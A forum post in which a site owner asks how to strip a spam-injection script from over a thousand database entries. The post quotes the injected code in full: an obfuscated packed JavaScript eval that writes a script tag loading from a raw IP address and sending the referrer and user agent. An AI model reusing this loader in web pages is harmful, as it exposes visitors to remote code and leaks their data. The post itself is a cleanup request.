Home Complex Query using special charecters
Reply: 0

Complex Query using special charecters

user1672 Published in May 25, 2018, 11:12 am

Hopefully someone may have an easy solution here that I have not thought of, or a tool or something that can help, but I am at a total loss at this point.

I have a website I am working on that was recently hacked with a SPAM injection. Everything is secured now but I am tasked with cleaning up the remains of a script put on each page. The problem I am facing is that there are special characters used throughout the hack and escaping the special characters is proving to be very challenging.

I am also using a Query builder but even that is getting confused.

The code I am trying to remove is this:

<noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zinsz|var|u0026u|referrer|bhsyf||js|php'.split('|'),0,{}))

As you can see once I start escaping characters I start to get lost. I was wondering if anyone has come across this and found an easier way.

I have successfully gone in an manually deleted the code directly in the database but unfortunately there is about 1006 locations and it just takes forever.

You need to login account before you can post.

About| Privacy statement| Terms of Service| Advertising| Contact us| Help| Sitemap|
Processed in 0.320657 second(s) , Gzip On .

© 2016 Powered by mzan.com design MATCHINFO